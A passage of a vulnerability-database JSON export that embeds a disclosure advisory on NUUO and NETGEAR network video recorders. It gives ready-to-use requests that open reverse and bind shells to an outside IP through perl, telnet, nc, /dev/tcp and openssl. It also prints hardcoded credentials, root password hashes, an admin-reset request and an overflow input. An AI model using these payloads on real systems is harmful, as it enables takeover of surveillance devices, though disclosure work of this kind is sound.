ReadyNAS with the following command:\nCGI_DEBUG=qwe23622260 cgi_main transfer_license \u0027method=offline\u0026sn=\u003cPAYLOAD\u003e\u0027\nThe cgi_main binary is located at \"/apps/surveillance/bin/cgi_main\" on the ReadyNAS and \"/NUUO/bin/cgi_main\" on the NVRmini2. \n\nIt is likely that all other vulnerabilities in this advisory are exploitable by a local attacker, however this has only been tested for the stack buffer overflow. \n\n\n\u003e\u003e Fix: \nNETGEAR and Nuuo did not respond to CERT/CC coordination efforts (see Timeline below), so no fix is available. \nDo not expose any of these devices to the Internet or any networks with unstrusted hosts. \n\nTimeline:\n28.02.2016: Disclosure to CERT/CC. \n27.04.2016: Requested status update from CERT - they did not receive any response from vendors. \n06.06.2016: Requested status update from CERT - still no response from vendors. \n Contacted Nuuo and NETGEAR directly. NETGEAR responded with their \"Responsible Disclosure Guidelines\", to which I did not agree and requested them to contact CERT if they want to know the details about the vulnerabilities found. No response from Nuuo. \n13.06.2016: CERT sent an update saying that NETGEAR has received the details of the vulnerabilities, and they are attempting to contact Nuuo via alternative channels. \n07.07.2016: CERT sent an update saying that they have not received any follow up from both Nuuo and NETGEAR, and that they are getting ready for disclosure. \n17.07.2016: Sent an email to NETGEAR and Nuuo warning them that disclosure is imminent if CERT doesn\u0027t receive a response or status update. No response received. \n01.08.2016: Sent an email to NETGEAR and Nuuo warning them that disclosure is imminent if CERT doesn\u0027t receive a response or status update. No response received. \n04.08.2016: Coordinated disclosure with CERT. \n\n\n\u003e\u003e References:\n[1] https://www.kb.cert.org/vuls/id/856152\n\n\n================\nAgile Information Security Limited\nhttp://www.agileinfosec.co.uk/\n\u003e\u003e Enabling secure digital business \u003e\u003e\n\n",
"sources": [
{
"db": "NVD",
"id": "CVE-2016-5680"
},
{
"db": "CERT/CC",
"id": "VU#856152"
},
{
"db": "JVNDB",
"id": "JVNDB-2016-004494"
},
{
"db": "CNVD",
"id": "CNVD-2016-06320"
},
{
"db": "BID",
"id": "92318"
},
{
"db": "VULHUB",
"id": "VHN-94499"
},
{
"db": "VULMON",
"id": "CVE-2016-5680"
},
{
"db": "PACKETSTORM",
"id": "138199"
}
],
"trust": 3.42
},
"exploit_availability": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/exploit_availability#",
"data": {
"@container": "@list"
},
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": [
{
"reference": "https://www.scap.org.cn/vuln/vhn-94499",
"trust": 0.1,
"type": "unknown"
},
{
"reference": "https://vulmon.com/exploitdetails?qidtp=exploitdb\u0026qid=40200",
"trust": 0.1,
"type": "exploit"
}
],
"sources": [
{
"db": "VULHUB",
"id": "VHN-94499"
},
{
"db": "VULMON",
"id": "CVE-2016-5680"
}
]
},
"external_ids": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/external_ids#",
"data": {
"@container": "@list"
},
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": [
{
"db": "CERT/CC",
"id": "VU#856152",
"trust": 3.8
},
{
"db": "NVD",
"id": "CVE-2016-5680",
"trust": 3.6
},
{
"db": "BID",
"id": "92318",
"trust": 2.7
},
{
"db": "EXPLOIT-DB",
"id": "40200",
"trust": 1.2
},
{
"db": "JVN",
"id": "JVNVU97220922",
"trust": 0.8
},
{
"db": "JVNDB",
"id": "JVNDB-2016-004494",
"trust": 0.8
},
{
"db": "CNNVD",
"id": "CNNVD-201608-273",
"trust": 0.7
},
{
"db": "CNVD",
"id": "CNVD-2016-06320",
"trust": 0.6
},
{
"db": "VULHUB",
"id": "VHN-94499",
"trust": 0.1
},
{
"db": "VULMON",
"id": "CVE-2016-5680",
"trust": 0.1
},
{
"db": "PACKETSTORM",
"id": "138199",
"trust": 0.1
}
],
"sources": [
{
"db": "CERT/CC",
"id": "VU#856152"
},
{
"db": "CNVD",
"id": "CNVD-2016-06320"
},
{
"db": "VULHUB",
"id": "VHN-94499"
},
{
"db": "VULMON",
"id": "CVE-2016-5680"
},
{
"db": "BID",
"id": "92318"
},
{
"db": "JVNDB",
"id": "JVNDB-2016-004494"
},
{
"db": "PACKETSTORM",
"id": "138199"
},
{
"db": "CNNVD",
"id": "CNNVD-201608-273"
},
{
"db": "NVD",
"id": "CVE-2016-5680"
}
]
},
"id": "VAR-201608-0073",
"iot": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/iot#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": true,
"sources": [
{
"db": "CNVD",
"id": "CNVD-2016-06320"
},
{
"db": "VULHUB",
"id": "VHN-94499"
}
],
"trust": 1.27076023
},
"iot_taxonomy": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/iot_taxonomy#",
"data": {
"@container": "@list"
},
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": [
{
"category": [
"Network device"
],
"sub_category": null,
"trust": 0.6
}
],
"sources": [
{
"db": "CNVD",
"id": "CNVD-2016-06320"
}
]
},
"last_update_date": "2024-11-23T21:42:53.085000Z",
"patch": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/patch#",
"data": {
"@container": "@list"
},
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": [
{
"title": "ReadyNAS Surveillance",
"trust": 0.8,
"url": "https://www.netgear.com/business/products/storage/readynas/readynas-surveillance.aspx"
},
{
"title": "NUUO NVRmini 2",
"trust": 0.8,
"url": "http://www.nuuo.com/ProductNode.php?node=2"
},
{
"title": "The Register",
"trust": 0.2,
"url": "https://www.theregister.co.uk/2016/08/07/nuuo_netgear_surveillance_recorders_riddled_with_0days/"
}
],
"sources": [
{
"db": "VULMON",
"id": "CVE-2016-5680"
},
{
"db": "JVNDB",
"id": "JVNDB-2016-004494"
}
]
},
"problemtype_data": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/problemtype_data#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": [
{
"problemtype": "CWE-119",
"trust": 1.9
}
],
"sources": [
{
"db": "VULHUB",
"id": "VHN-94499"
},
{
"db": "JVNDB",
"id": "JVNDB-2016-004494"
},
{
"db": "NVD",
"id": "CVE-2016-5680"
}
]
},
"references": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/references#",
"data": {
"@container": "@list"
},
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": [
{
"trust": 3.1,
"url": "http://www.kb.cert.org/vuls/id/856152"
},
{
"trust": 2.4,
"url": "http://www.securityfocus.com/bid/92318"
},
{
"trust": 1.6,
"url": "https://raw.githubusercontent.com/pedrib/poc/master/advisories/nuuo-nvr-vulns.txt"
},
{
"trust": 1.3,
"url": "https://www.exploit-db.com/exploits/40200/"
},
{
"trust": 0.8,
"url": "http://www.nuuo.com/productnode.php?stid=0001\u0026node=2"
},
{
"trust": 0.8,
"url": "http://www.nuuo.com/productnode.php?stid=0002\u0026node=13"
},
{
"trust": 0.8,
"url": "http://www.nuuo.com/productnode.php?stid=0001\u0026node=14"
},
{
"trust": 0.8,
"url": "https://www.netgear.com/business/products/storage/readynas/readynas-surveillance.aspx"
},
{
"trust": 0.8,
"url": "https://cwe.mitre.org/data/definitions/20.html"
},
{
"trust": 0.8,
"url": "https://cwe.mitre.org/data/definitions/285.html"
},
{
"trust": 0.8,
"url": "https://cwe.mitre.org/data/definitions/200.html"
},
{
"trust": 0.8,
"url": "https://cwe.mitre.org/data/definitions/798.html"
},
{
"trust": 0.8,
"url": "https://cwe.mitre.org/data/definitions/78.html"
},
{
"trust": 0.8,
"url": "https://cwe.mitre.org/data/definitions/121.html"
},
{
"trust": 0.8,
"url": "http://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2016-5680"
},
{
"trust": 0.8,
"url": "http://jvn.jp/vu/jvnvu97220922/index.html"
},
{
"trust": 0.8,
"url": "http://web.nvd.nist.gov/view/vuln/detail?vulnid=cve-2016-5680"
},
{
"trust": 0.3,
"url": "http://www.netgear.com"
},
{
"trust": 0.3,
"url": "http://www.nuuo.com/"
},
{
"trust": 0.1,
"url": "https://cwe.mitre.org/data/definitions/119.html"
},
{
"trust": 0.1,
"url": "https://tools.cisco.com/security/center/viewalert.x?alertid=55151"
},
{
"trust": 0.1,
"url": "https://nvd.nist.gov"
},
{
"trust": 0.1,
"url": "https://nvd.nist.gov/vuln/detail/cve-2016-5674"
},
{
"trust": 0.1,
"url": "https://www.cert.org/)"
},
{
"trust": 0.1,
"url": "https://nvd.nist.gov/vuln/detail/cve-2016-5678"
},
{
"trust": 0.1,
"url": "https://nvd.nist.gov/vuln/detail/cve-2016-5680"
},
{
"trust": 0.1,
"url": "https://nvd.nist.gov/vuln/detail/cve-2016-5677"
},
{
"trust": 0.1,
"url": "https://nvd.nist.gov/vuln/detail/cve-2016-5679"
},
{
"trust": 0.1,
"url": "http://www.agileinfosec.co.uk/)"
},
{
"trust": 0.1,
"url": "http://www.agileinfosec.co.uk/"
},
{
"trust": 0.1,
"url": "https://nvd.nist.gov/vuln/detail/cve-2016-5676"
},
{
"trust": 0.1,
"url": "https://nvd.nist.gov/vuln/detail/cve-2016-5675"
}
],
"sources": [
{
"db": "CERT/CC",
"id": "VU#856152"
},
{
"db": "CNVD",
"id": "CNVD-2016-06320"
},
{
"db": "VULHUB",
"id": "VHN-94499"
},
{
"db": "VULMON",
"id": "CVE-2016-5680"
},
{
"db": "BID",
"id": "92318"
},
{
"db": "JVNDB",
"id": "JVNDB-2016-004494"
},
{
"db": "PACKETSTORM",
"id": "138199"
},
{
"db": "CNNVD",
"id": "CNNVD-201608-273"
},
{
"db": "NVD",
"id": "CVE-2016-5680"
}
]
},
"sources": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#",
"data": {
"@container": "@list"
}
},
"data": [
{
"db": "CERT/CC",
"id": "VU#856152"
},
{
"db": "CNVD",
"id": "CNVD-2016-06320"
},
{
"db": "VULHUB",
"id": "VHN-94499"
},
{
"db": "VULMON",
"id": "CVE-2016-5680"
},
{
"db": "BID",
"id": "92318"
},
{
"db": "JVNDB",
"id": "JVNDB-2016-004494"
},
{
"db": "PACKETSTORM",
"id": "138199"
},
{
"db": "CNNVD",
"id": "CNNVD-201608-273"
},
{
"db": "NVD",
"id": "CVE-2016-5680"
}
]
},
"sources_release_date": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources_release_date#",
"data": {
"@container": "@list"
}
},
"data": [
{
"date": "2016-08-04T00:00:00",
"db": "CERT/CC",
"id": "VU#856152"
},
{
"date": "2016-08-16T00:00:00",
"db": "CNVD",
"id": "CNVD-2016-06320"
},
{
"date": "2016-08-31T00:00:00",
"db": "VULHUB",
"id": "VHN-94499"
},
{
"date": "2016-08-31T00:00:00",
"db": "VULMON",
"id": "CVE-2016-5680"
},
{
"date": "2016-08-04T00:00:00",
"db": "BID",
"id": "92318"
},
{
"date": "2016-09-01T00:00:00",
"db": "JVNDB",
"id": "JVNDB-2016-004494"
},
{
"date": "2016-08-04T22:22:21",
"db": "PACKETSTORM",
"id": "138199"
},
{
"date": "2016-08-12T00:00:00",
"db": "CNNVD",
"id": "CNNVD-201608-273"
},
{
"date": "2016-08-31T15:59:06.827000",
"db": "NVD",
"id": "CVE-2016-5680"
}
]
},
"sources_update_date": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources_update_date#",
"data": {
"@container": "@list"
}
},
"data": [
{
"date": "2016-08-05T00:00:00",
"db": "CERT/CC",
"id": "VU#856152"
},
{
"date": "2016-08-16T00:00:00",
"db": "CNVD",
"id": "CNVD-2016-06320"
},
{
"date": "2017-09-03T00:00:00",
"db": "VULHUB",
"id": "VHN-94499"
},
{
"date": "2017-09-03T00:00:00",
"db": "VULMON",
"id": "CVE-2016-5680"
},
{
"date": "2016-08-04T00:00:00",
"db": "BID",
"id": "92318"
},
{
"date": "2016-09-01T00:00:00",
"db": "JVNDB",
"id": "JVNDB-2016-004494"
},
{
"date": "2016-09-01T00:00:00",
"db": "CNNVD",
"id": "CNNVD-201608-273"
},
{
"date": "2024-11-21T02:54:48.793000",
"db": "NVD",
"id": "CVE-2016-5680"
}
]
},
"threat_type": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/threat_type#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": "remote",
"sources": [
{
"db": "PACKETSTORM",
"id": "138199"
},
{
"db": "CNNVD",
"id": "CNNVD-201608-273"
}
],
"trust": 0.7
},
"title": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/title#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": "NUUO and Netgear Network Video Recorder (NVR) products web interfaces contain multiple vulnerabilities",
"sources": [
{
"db": "CERT/CC",
"id": "VU#856152"
}
],
"trust": 0.8
},
"type": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/type#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": "buffer overflow",
"sources": [
{
"db": "CNNVD",
"id": "CNNVD-201608-273"
}
],
"trust": 0.6
}
}
var-201608-0071
Vulnerability from variot
NUUO NVRmini 2 1.0.0 through 3.0.0 and NUUO NVRsolo 1.0.0 through 3.0.0 have hardcoded root credentials, which allows remote attackers to obtain administrative access via unspecified vectors. NUUO NVRmini 2, NVRsolo, Crystal, and Netgear ReadyNAS Surveillance products have web management interfaces containing multiple vulnerabilities that can be leveraged to gain complete control of affected devices. NUUO NVRmini 2 and NVRsolo Was hard coded root Because it has authentication information, there is a vulnerability that can gain management access rights. Supplementary information : CWE Vulnerability type by CWE-798: Use of Hard-coded Credentials ( Using hard-coded credentials ) Has been identified. http://cwe.mitre.org/data/definitions/798.htmlA third party may gain administrative access. NUUONVRsolo and NVRmini2 are both network video recorders from NUUO. An attacker could exploit the vulnerability to log in to the affected device with root privileges. NUUO and Netgear Network Multiple Products are prone to multiple security vulnerabilities. Attackers can exploit these issues to execute arbitrary code, execute remote command and retrieve sensitive information; other attacks may also be possible. Setup is simple and easy, with automatic port forwarding settings built in. NVRmini 2 supports POS integration, making this the perfect solution for small retail chain stores. NVRmini 2 also comes full equipped as a NAS, so you can enjoy the full storage benefits like easy hard drive hot-swapping and RAID functions for data protection. Choose NVR and know that your valuable video data is safe, always." "NVRsolo is NUUOas answer to hassle free, lightweight NVR system. It is small in size yet able to handle heavy duty tasks. With local HDMI/VGA display and keyboard/mouse input built right into the unit, configuring NVRsolo is easy and simple. Built on solid Linux foundation, we sacrificed nothing except unnecessary bulk to make NVRsolo the award winning standalone NVR solution you have been looking for. NVRsolo's flexibility doesn't end there. For those needing more storage options, we offer 8 bay versions to meet your needs." "NUUO CrystalaC/ is the product that represents the next stage in VMS evolution. Rock solid, easily manageable, with powerful recording and viewing options available. Featuring revolutionary modular system structure that is made to handle large project size, NUUO CrystalaC/ is the ideal choice for your enterprise. Featuring technology that focuses on delivering stable video recording performance, recording failover, and 3rd party integration choice, you will be impressed with the stability and flexible options with NUUO CrystalaC/." "(ReadyNAS Surveillance) NETGEAR combines leading storage and switching solutions together with sophisticated network video recording software to provide an affordable and easy to install and manage surveillance solution. Small businesses and corporate branch offices require a secure way to protect physical assets, but may lack deep security expertise or a big budget. A user-friendly NVR system should combine fast and flexible configuration with easy operation. With a few simple steps for installation, the web-based management leads users to configure, monitor and playback video everywhere. UPnP search, auto camera detection and GUI schedule save setting-up time, while the easy drag and drop camera, auto scan, preset point patrolling, and multiple views offer users a prime monitoring experience."
Summary: NUUO is a vendor of Network Video Recording (NVR) systems for surveillance cameras. These NVR are Linux embedded video recording systems that can manage a number of cameras and are used worldwide by public institutions, banks, SME's, etc. They also provide a software package to NETGEAR that adds network video recording and monitoring capabilities to the well known NETGEAR ReadyNAS Network Attached Storage systems.
The web interface contains a number of critical vulnerabilities that can be abused by unauthenticated attackers. These consist of monitoring backdoors left in the PHP files that are supposed to be used by NUUO's engineers, hardcoded credentials, poorly sanitised input and a buffer overflow which can be abused to achieve code execution on NUUO's devices as root, and on NETGEAR as the admin user.
Although only the NVRmini 2, NVRsolo, Crystal and ReadyNAS Surveillance devices are known to be affected, it is likely that the same code is used in other NUUO devices or even other third party devices (the firmware is littered with references to other devices like NUUO Titan).
A special thanks to CERT/CC (https://www.cert.org/) for assistance with disclosing the vulnerabilities to the vendors [1]. Metasploit exploits for #1, #2 and #3 have been released.
Technical details:
1
Vulnerability: Improper Input Validation (leading to remote code execution) CVE-2016-5674 Attack Vector: Remote Constraints: None, can be exploited by an unauthenticated attacker Affected products / versions: - NUUO NVRmini 2, firmware v1.7.5 to 3.0.0 (older firmware versions might be affected) - NUUO NVRsolo, firmware v1.0.0 to 3.0.0 - ReadyNAS Surveillance, v1.1.1 to v1.4.1 (affects both x86 and ARM versions, older versions might be affected) - Other NUUO products that share the same web interface might be affected
The web inteface contains a hidden file named __debugging_center_utils___.php that improperly sanitises input to the log parameter, which is passed to the PHP system() call (snippet below):
function print_file($file_fullpath_name) { $cmd = "cat " . $file_fullpath_name; echo $file_fullpath_name . "\n\n"; system($cmd); }
The file can be accessed by an unauthenticated user, and code execution can be achieved with the following proofs of concept: - ReadyNAS Surveillance: GET /__debugging_center_utils___.php?log=something%3bperl+-MIO%3a%3aSocket+-e+'$p%3dfork%3bexit,if($p)%3b$c%3dnew+IO%3a%3aSocket%3a%3aINET(PeerAddr,"192.168.1.204%3a9000")%3bSTDIN->fdopen($c,r)%3b$~->fdopen($c,w)%3bsystem$_+while<>%3b' This will connect a shell back to 192.168.1.204 on port 9000, running as the "admin" user.
- NVRmini 2 and NVRsolo: GET /__debugging_center_utils___.php?log=something%3btelnet+192.168.1.204+9999+|+bash+|+telnet+192.168.1.204+9998 This will connect two shells to 192.168.1.204, one on port 9999 and another on port 9998. To execute commands, echo into the 9999 shell, and receive the output on the 9998 shell. Commands will run as the root user.
2
Vulnerability: Improper Input Validation (leading to remote code execution) CVE-2016-5675 Attack Vector: Remote Constraints: Requires an administrator account Affected products / versions: - NUUO NVRmini 2, firmware v1.7.5 to 3.0.0 (older firmware versions might be affected) - NUUO NVRsolo, firmware v1.0.0 to 3.0.0 - NUUO Crystal, firmware v2.2.1 to v3.2.0 (older firmware versions might be affected) - ReadyNAS Surveillance, v1.1.1 to v1.4.1 (affects both x86 and ARM versions, older versions might be affected) - Other NUUO products that share the same web interface might be affected
The handle_daylightsaving.php page does not sanitise input from the NTPServer parameter correctly and passes it to a PHP system() command (code snippet below): else if ($act == 'update') { $cmd = sprintf("/usr/bin/ntpdate %s", $_GET['NTPServer']);
$find_str = "time server";
$sys_msg = system($cmd);
$pos = strpos($sys_msg, $find_str);
The file can only be accessed by an authenticted user. - ReadyNAS Surveillance: GET /handle_daylightsaving.php?act=update&NTPServer=bla%3b+whoami+>+/tmp/test This will create a /tmp/test file with the contents of "admin" (current user).
-
NVRmini 2 and NVRsolo: GET /handle_daylightsaving.php?act=update&NTPServer=bla%3brm+/tmp/f%3bmkfifo+/tmp/f%3bcat+/tmp/f|/bin/sh+-i+2>%261|nc+192.168.1.204+9000+>/tmp/f Connects a shell to 192.168.1.204, port 9000, running as root.
-
Crystal: GET /handle_daylightsaving.php?act=update&NTPServer=bla%3bbash+-i+>%26+/dev/tcp/192.168.1.204/4444+0>%26 Connects a shell to 192.168.1.204, port 4444, running as root.
3
Vulnerability: Administrator password reset CVE-2016-5676 Attack Vector: Remote Constraints: None, can be exploited by an unauthenticated attacker Affected products / versions: - NUUO NVRmini 2, firmware v1.7.5 to unknown (latest version v3.0.0 requires authentication) - NUUO NVRsolo, firmware v1.7.5 to unknown (latest version v3.0.0 requires authentication) - ReadyNAS Surveillance, v1.1.1 to v1.4.1 (affects both x86 and ARM versions, older versions might be affected) - Other NUUO products that share the same web interface might be affected
On older versions of the firmware and in the ReadyNAS Surveillance application unauthenticated users can call the cgi_system binary from the web interface. This binary performs a number of sensitive system commands, such as the loading of the default configuration that resets the administrator password. It seems that at least versions 2.2.1 and 3.0.0 of the NVRmini 2 and NVRsolo firmware are not affected, so this vulnerability was fixed either on these or earlier versions, but ReadyNAS Surveillance is still vulnerable.
Proof of concept: GET /cgi-bin/cgi_system?cmd=loaddefconfig
This will reset the admin password of the web interface to admin or password (depending on the firmware version) on all affected devices.
4
Vulnerability: Information disclosure (system processes, available memory and filesystem status) CVE-2016-5677 Attack Vector: Remote Constraints: None, can be exploited by an unauthenticated attacker Affected products / versions: - NUUO NVRmini 2, firmware v1.7.5 to 3.0.0 (older firmware versions might be affected) - NUUO NVRsolo, firmware v1.0.0 to 3.0.0 - ReadyNAS Surveillance, v1.1.1 to v1.4.1 (affects both x86 and ARM versions, older versions might be affected) - Other NUUO products that share the same web interface might be affected
The web interface contains a hidden page (__nvr_status.php) with a hardcoded username and password that lists the current system processes, available memory and filesystem status. This information can be obtained by an unauthenticated user by performing the following request: POST /_nvr_status_.php HTTP/1.1 username=nuuoeng&password=qwe23622260&submit=Submit
5
Vulnerability: Harcoded root password CVE-2016-5678 Affected products / versions: - NUUO NVRmini 2, firmware v1.0.0 to 3.0.0 - NUUO NVRsolo, firmware v1.0.0 to 3.0.0
The NVRmini 2 and NVRsolo contain two hardcoded root passwords (one is commented). These passwords have not been cracked, but they are present in the firmware images which are deployed to all NVRmini 2 / NVRsolo devices.
NVRmini 2: #root:$1$1b0pmacH$sP7VdEAv01TvOk1JSl2L6/:14495:0:99999:7::: root:$1$vd3TecoS$VyBh4/IsumZkqFU.1wfrV.:14461:0:99999:7:::
NVRsolo: #root:$1$1b0pmacH$sP7VdEAv01TvOk1JSl2L6/:14495:0:99999:7::: root:$1$72ZFYrXC$aDYHvkWBGcRRgCrpSCpiw1:0:0:99999:7:::
6
Vulnerability: Command injection in cgi_main transfer license command CVE-2016-5679 Attack Vector: Local / Remote Constraints: Requires an administrator account if exploited remotely; can be exploited locally by any logged in user Affected products / versions: - NUUO NVRmini 2, firmware v1.7.6 to 3.0.0 (older firmware versions might be affected) - ReadyNAS Surveillance, v1.1.2 (x86 and older versions might be affected)
The transfer_license command has a command injection vulnerability in the "sn" parameter: cgi_main?cmd=transfer_license&method=offline&sn=";;#
Sample exploit for NVRmini2 (open bind shell on port 4444): GET /cgi-bin/cgi_main?cmd=transfer_license&method=offline&sn="%3bnc+-l+-p+4444+-e+/bin/sh+%26+%23
NETGEAR Surveillance doesn't have netcat, but we can get an openssl reverse shell to 192.168.133.204:4444 instead: GET /cgi-bin/cgi_main?cmd=transfer_license&method=offline&sn="%3bmkfifo+/tmp/s%3b+/bin/bash+-i+<+/tmp/s+2>%261+|+openssl+s_client+-quiet+-connect+192.168.133.204%3a4444+>+/tmp/s%3b+rm+/tmp/s%3b%23
Local exploitation: This vulnerability can be exploited locally by a logged in user to escalate privileges to root on the NVRmini2 and admin on the ReadyNAS with the following command: CGI_DEBUG=qwe23622260 cgi_main transfer_license 'method=offline&sn=' The cgi_main binary is located at "/apps/surveillance/bin/cgi_main" on the ReadyNAS and "/NUUO/bin/cgi_main" on the NVRmini2.
7
Vulnerability: Stack buffer overflow in cgi_main transfer license command CVE-2016-5680 Attack Vector: Local / Remote Constraints: Requires an administrator account if exploited remotely; can be exploited locally by any logged in user - NUUO NVRmini 2, firmware v1.7.6 to 3.0.0 (older firmware versions might be affected) - ReadyNAS Surveillance, v1.1.2 (x86 and older versions might be affected)
The "sn" parameter in transfer_license cgi_main method not only has a command injection vulnerability, but also a stack buffer overflow. Below is the pseudocode of the affected function - as it can be seen in the sprintf line, the "sn" parameter is copied directly into a string with a fixed length of 128 characters.
Function 0x20BC9C (NVRmini2 firmware v3.0.0): method = getval("method"); sn = getval("sn"); (...) memset(&command, 0, 128); sprintf(&command, "logger -p local0.info -t 'system' \"Activate license: %s\"", sn); system(&command);
For example if the following request is performed: GET /cgi-bin/cgi_main?cmd=transfer_license&method=offline&sn=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa